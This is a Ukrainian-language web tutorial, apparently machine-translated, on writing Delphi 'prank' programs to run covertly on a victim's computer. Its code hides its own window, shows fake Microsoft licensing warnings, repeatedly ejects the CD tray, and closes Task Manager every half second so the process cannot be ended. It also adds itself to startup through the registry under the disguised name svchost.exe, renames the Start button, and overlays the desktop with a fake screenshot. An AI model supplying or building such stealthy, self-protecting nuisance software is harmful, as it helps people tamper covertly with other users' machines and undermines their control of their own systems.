• Главная
  • Карта сайта
Не найдено

Приколюємося за допомогою Delphi

Здрастуй, читач. У цій статті ми поговоримо про комп'ютерні приколи, а точніше, ми самі напишемо кілька програм-приколів на мові програмування Delphi і трохи розберемо цю середу розробки. Чому саме цю? Вона найбільш проста для створення таких маленьких додатків, як програми-приколи. Хто з нас ніколи не хотів приколотися над ближнім своїм так, щоб він навіть не запідозрив в вас винуватця глючності свого комп'ютера? Завдяки цій статті ви зможете приколоти інших і показати, який ви прикольний програміст. Меньше слів більше діла!


Створюємо вічний шаблон ...

Для створення всього вище описаного нам будуть потрібні:

  • Borland Delphi
  • комп'ютер
  • голова

Тепер розберемо по пунктах. Delphi можна використовувати будь-який. Мені з усіх існуючих версій більше подобається Delphi 2006, але його, на жаль, знайти не вдається і я активно використовую Delphi 5, тому на зображенні ви можете побачити п'яту версію, але, в загальному, вони майже не відрізняються, просто у більш старших версій більше компонентів, зручніше дизайн і вони більш функціональні (наприклад, в Delphi 2006 після того, як ви введете "Begin" і натиснете "Enter (введення)", відразу ж з'явиться закриває частину "End;", тобто не треба вводити її вручну). Комп'ютер потрібен для тесту створених вами приколів - всі помиляються, і тому потрібно спочатку перевірити програму на працездатність у себе, щоб не вийшла ситуація, коли прикол сам себе видав. І останній пункт - голова, куди без неї :)?

До опису самих приколів потрібно вдосконалити їх, а точніше, зробити так, щоб вони себе не видавали, тобто ховалися в системі і виконували через деякий час певний код. Отже, відкриваємо Delphi і розбираємося, що де знаходиться.

Вгорі знаходяться діалоги відкриття / закриття файлів (1) і панель компонентів (вкладки Standard, Additional, Win32 і т.д.) (2). Посередині знаходиться головна форма або, просто, форма (3). На формі ми будемо розміщувати компоненти, потрібні для наших приколів. Зліва знаходиться інспектор об'єктів (Object Inspector) (4).

На інспектора об'єктів вгорі знаходяться дві вкладки - Properties і Events (5). Кликнемо по Events і в списку, знаходимо OnActivate (6), кликнемо двічі в поле вводу поруч і запишемо код:

ShowWindow (Handle, SW_HIDE); ShowWindow (Application.Handle, SW_HIDE);

Цей код сховає програму, а точніше, зробить процес. У цьому коді викликається функція "ShowWindow", в якій другий параметр дорівнює SW_HIDE, тобто вимагає заховати вікно.

Наступний крок - таймер, завдяки якому наш код буде діяти через певний час. Для цього є компонент, який так і називається - таймер, він знаходиться на вкладці "System" (7). Щоб використовувати таймер, треба виконати наступні кроки: на форму поміщаємо з палітри компонентів - вкладка "System", компонент, схожий на годинник (натискаємо один раз на "System", потім знову натискаємо один раз на зображення годинника і також один раз в будь-якому місці форми). Компонент "Timer" дозволяє через певний час передавати управління вашому коду. Виділимо його кліком і подивимося на інспектор об'єктів (зліва від форми).

Подивіться на значення Interval = 1000 (8). Це означає, що код, записаний у властивості "OnTimer", буде викликатися кожні 1000 мсек, тобто щосекунди. Якщо ви хочете змінити час, через яке буде спрацьовувати ваш прикол, просто змініть властивість "Interval". Після всього зробленого весь код буде таким:

unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; Type TForm1 = class (TForm) Timer1: TTimer; procedure FormActivate (Sender: TObject); procedure Timer1Timer (Sender: TObject); private {Private declarations} public {Public declarations} end; var Form1: TForm1; Implementation {$ R * .DFM} procedure TForm1.FormActivate (Sender: TObject); begin ShowWindow (Handle, SW_HIDE); ShowWindow (Application.Handle, SW_HIDE); end; procedure TForm1.Timer1Timer (Sender: TObject); begin // ось тут буде знаходитися наш код end; end.

(Щоб звірити, мінімізуйте форму.) Думаю, пояснювати нічого. Тепер саме час створити що-небудь погане :). І не забудьте зберегти виконану роботу як шаблон.


Ось така Антипірат

Наступний приклад - моя улюблена жарт. Сенс його в тому, що на комп'ютері жертви варто неліцензійна Windows . Але оскільки Білл Гейтс пішов у відставку, то можна всім нагадати, що він все ще живий, природно, програмним шляхом. Наступний код треба помістити в наш шаблон (в процедуру таймера між "Begin" і "end" або два рази клацнути по годинки), попередньо вказавши час, наприклад, 1800000 (тобто Interval = 1800000):

MessageBox (0, 'В ході перевірки вашої операційної системи на справжність, з'ясувалося, що на вашому комп'ютері встановлена ​​неліцензійна Windows. Купіть ліцензійну Windows Vista', 'Білл Гейтс', 0);

(Весь код, наведений вище, переписується в рядок, інакше програма не працюватиме.) І кожні 1800000 мсек, тобто кожні 30 хв, буде з'являтися віконце, яке представлено на зображенні. Скомпілюйте програму (Ctrl + F9) і насолоджуйтеся.

(Примітка: бачите на панелі задач, поряд з "Білл Гейтс", іконку? Ця іконка присвоюється за замовчуванням до всіх програм, написаним на Delphi. Щоб змінити, треба, коли виділена форма, знайти на "інспекторові об'єктів" властивість "icon", двічі клацнути поряд на "none" і в вікні, знайти в вашому комп'ютері відповідну іконку. Іконка повинна бути розміром 32х32. Ви можете самі придумати і намалювати іконку для своєї програми: відкрийте "imagedit", виберіть File> New> Icon file і малюйте. )


скажений сідюшнік

Ось ви уявіть обличчя людини, у якого тільки що відкрився CD-привід без його прямої участі і через деякий час закрився і так до нескінченності. Представили? А я навіть зміг побачити завдяки наступній програмі. Відкриваємо наш шаблон. У Interval приписуємо своє число, наприклад, 5000 (5 сек.). Двічі клацаємо по годинки і в відкрилося віконце заносимо код, представлений нижче:

mciSendString ( 'Set cdaudio door open wait', nil, 0, handle); sleep (3000); mciSendString ( 'Set cdaudio door closed wait', nil, 0, handle);

Майже готово, але для роботи на самому початку коду програми знайдіть розділ "Uses" і в нього помістіть наступний код:

MMSystem;

У цьому модулі (MMSystem) містяться необхідні для роботи програми функції роботи з CD. В даному прикладі перший рядок коду відкриває CD, друга робить затримку в 3 секунди, а третя закриває CD. І не забудьте (якщо ви відкривати не шаблон) прописати в процедуру OnActivate приховування програми.


Зникаючий диспетчер задач Копперфільда

Хоч ми і ховаємо програму від очей жертви, але проти диспетчера задач вона безсила, тобто жертва цілком може натиснути заповітну комбінацію клавіш Ctrl + Alt + Del, вибрати в диспетчері завдань вкладку "процеси" і видалити будь-який процес, в тому числі і нашу неспокійну програму. Так давайте зробимо так, щоб при кожному відкритті диспетчера задач він закривався. Відкриваємо наш шаблон (де вже прихована форма). Встановлюємо значення Interval, рівне 500 (половина секунди), в процедуру таймера заносимо код:

procedure TForm1.Timer1Timer (Sender: TObject); var a: HWND; begin a: = FindWindow (nil, 'Диспетчер завдань Windows'); if a <> 0 then SendMessage (a, WM_DESTROY, 0,0); end;

Зараз все поясню. У даній програмі змінної "a" присвоюється значення функції "FindWindow". Сама функція "FindWindow" служить для пошуку вікна з заголовком "Диспетчер завдань Windows". Простіше кажучи, змінної "a" присвоюється знайдене вікно з заголовком "Диспетчер завдань Windows". Далі перевіряється: якщо вікно знайдено, тобто не дорівнює нулю (if a <> 0), тоді знайденому вікна (a) передається повідомлення знищитися (WM_DESTROY) за допомогою команди SendMessage (передати повідомлення). До речі, знищити можна будь-яке вікно, головне - знати його ім'я. На жаль, показати роботу прикладу картинкою не можу :).

(Примітка: не поспішайте створювати програму-компаньйон для ваших приколів, тому що це (зникнення вікна) можна поєднати з основною програмою, просто створіть на формі ще один компонент таймера і внесіть в нього код, представлений вище. Теж вірно, що вашу зло-програму можна захистити від будь-якого закриття або видалення з боку підколювати, в сенсі завжди закривати, наприклад, "Мій комп'ютер" або "Total Commander".)


Прописка за адресою

У попередніх прикладах змусити програму виконуватися разом із завантаженням комп'ютера ви могли, тільки помістивши на неї ярлик в автозавантаження (папку, яка знаходиться в документах або Пуск> Програми> Автомат). Але в автозавантаження можна прописатися і через реєстр, ніж ми зараз і займемося. Відкриваємо шаблон і дописуємо так, щоб вийшло, як наведено нижче:

procedure TForm1.FormActivate (Sender: TObject); {1} var Regini: TReginifile; begin ShowWindow (Handle, SW_HIDE); {Ховаю програму} ShowWindow (Application.Handle, SW_HIDE); {Те ж саме} {2} regini: = treginifile.create ( 'Software'); {3} regini.rootkey: = hkey_local_machine; {4} regini.openkey ( 'Software', true); {5} regini.openkey ( 'Microsoft', true); {6} regini.openkey ( 'Windows', true); {7} regini.openkey ( 'CurrentVersion', true); {8} regini.writestring ( 'RunServices', ' svchost.exe ', Application.exename); {9} regini.free; end;

Пояснюю все по пунктах:

  1. Вносимо змінну "Regini" типу "TReginifile".
  2. Ініціалізіруем змінну "regini" для роботи з реєстром.
  3. Відкриваємо розділ реєстру "hkey_local_machine" (один з головних розділів).
  4. Відкриваємо підрозділ "Software".
  5. Відкриваємо підрозділ "Microsoft".
  6. Відкриваємо підрозділ "Windows".
  7. Відкриваємо підрозділ "CurrentVersion".
  8. Створюємо підрозділ "RunServices" і прописуємо в нього програму з ім'ям " svchost.exe ".
  9. Звільняємо реєстр.

Для повної роботи в розділ "Uses" занесіть модуль "Registry", в ньому містяться функції, які ми використовуємо в програмі.

Ось тепер, якщо запустити програму, вона пропишеться в автозавантаження. Головне, щоб ім'я програми було svchost.exe (Як у мене), якщо ви захочете змінити ім'я або використовувати своє, то змініть його і в коді (пункт 8). Зараз можна зберегти виконану роботу як новий шаблон, більш кращий. Пам'ятайте, програма пропишеться в автозавантаження з того місця, звідки вона запустилася. Якщо ви перенесете програму в інше місце, то запускатися разом з системою вона не буде (поки її знову не активують). Щоб видалити програму з автозавантаження, зайдіть до реєстру за адресою "HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / CurrentVersion / RunServices" і видаліть ключ з ім'ям вашої програми.

(Примітка: пам'ятайте, якщо наша жертва завантажить комп'ютер в безпечному режимі, то автозавантаження не спрацює, і якщо вона (жертва) знайде програму в реєстрі (що навряд чи;)) і видалить ключ, то програма, знову ж, не буде автозавантажувані разом з комп'ютером до наступного запуску.)


Скажи своє слово!

Наступна програма змінить звичне всім "Пуск" на будь-яке ваше слово, але що складається з 4 букв. Поставте на форму всього одну кнопку і за подією "onClick" впишіть код:

procedure TForm1.Button1Click (Sender: TObject); Var Panel, Knopka: hwnd; {1} begin panel: = FindWindow ( 'shell_traywnd', nil); {2} knopka: = FindWindowEx (panel, 0, 'button', nil); {3} SetWindowText (knopka, 'глюк'); {4} ShowWindow (knopka, SW_HIDE); {5} ShowWindow (knopka, SW_show); {6} end;

Все по порядку:

  1. Оголошую 2 змінні, які будуть використовуватися для зберігання самої кнопки і панелі завдань, на якій вона знаходиться.
  2. Значенням змінної "Pаnel" привласнюю результат функції "findwindow", яка шукає вікно за параметрами. Параметри функції - ім'я класу вікна і саме ім'я вікна.
  3. Значенням змінної "knopka" присвоюється результат пошуку "Пуск".
  4. Зраджую напис на кнопці ( "Глюк").
  5. Ховаю кнопку.
  6. Показую кнопку.

Останні 2 дії потрібні, щоб зміни вступили в силу. Що у мене вийшло з пуском, побачите на скріншоті.


Веселий скрін

Багато хто знає такий жарт: робиться скріншот робочого столу, встановлюється він як шпалери, видаляються всі значки на робочому столі. Зараз ми зробимо щось подібне, але програмою. Вище описані дії робити не будемо, а підемо іншим шляхом. Для початку зробіть скріншот робочого столу і збережіть його з розширенням bmp. Створіть новий додаток. У властивостях форми зміни у наступних параметрах:

  • "Height" і "Width" на значення вище дозволу вашого екрану (обов'язково вище дозволу, наприклад, якщо у вас дозвіл 1024х1280, то властивості задайте, як мінімум 1300 і 1300, відповідно);
  • "FormStyle" змініть на "fsStayOnTop" (вікно завжди буде знаходитись над інших);
  • "Border style" на "bsNone" (щоб не було ніяких обрамлень у вікна, це ж робочий стіл :);
  • "Left" = 0;
  • "Top" = 0;
  • "WindowState" на "wsMaximized";
  • "AutoSize" на "True".

Потім поставте на форму компонент "TImage" з вкладки "Additional" і поставте властивість "AutoSize" на "True". Далі знаходите властивість "Picture" два рази клікаєте поруч і завантажуєте заготовлене раніше зображення. Ctrl + F9 і програма готова без строчки коду!


висновок

У цій статті я постарався максимально докладно розповісти, як створювати програми-приколи. Також ми трохи розглянули цікаву середу розробки програм Borland Delphi.

Якщо ви знаєте, як можна пожартувати програмним шляхом, або хочете дізнатися ще про прикольних програмах, пишіть!

(Далі буде)

Резидент Микола, [email protected]

Чому саме цю?
Хто з нас ніколи не хотів приколотися над ближнім своїм так, щоб він навіть не запідозрив в вас винуватця глючності свого комп'ютера?
І останній пункт - голова, куди без неї :)?
Примітка: бачите на панелі задач, поряд з "Білл Гейтс", іконку?
Представили?
Новости
Провайдеры:
  • 08.09.2015

    Batyevka.NET предоставляет услуги доступа к сети Интернет на территории Соломенского района г. Киева.Наша миссия —... 
    Читать полностью

  • 08.09.2015
    IPNET

    Компания IPNET — это крупнейший оператор и технологический лидер на рынке телекоммуникаций Киева. Мы предоставляем... 
    Читать полностью

  • 08.09.2015
    Boryspil.Net

    Интернет-провайдер «Boryspil.net» начал свою работу в 2008 году и на данный момент является одним из крупнейших поставщиков... 
    Читать полностью

  • 08.09.2015
    4OKNET

    Наша компания работает в сфере телекоммуникационных услуг, а именно — предоставлении доступа в сеть интернет.Уже... 
    Читать полностью

  • 08.09.2015
    Телегруп

    ДП «Телегруп-Украина» – IT-компания с 15-летним опытом работы на рынке телекоммуникационных услуг, а также официальный... 
    Читать полностью

  • 08.09.2015
    Софтлинк

    Высокая скоростьМы являемся участником Украинского центра обмена трафиком (UA — IX) с включением 10 Гбит / сек... 
    Читать полностью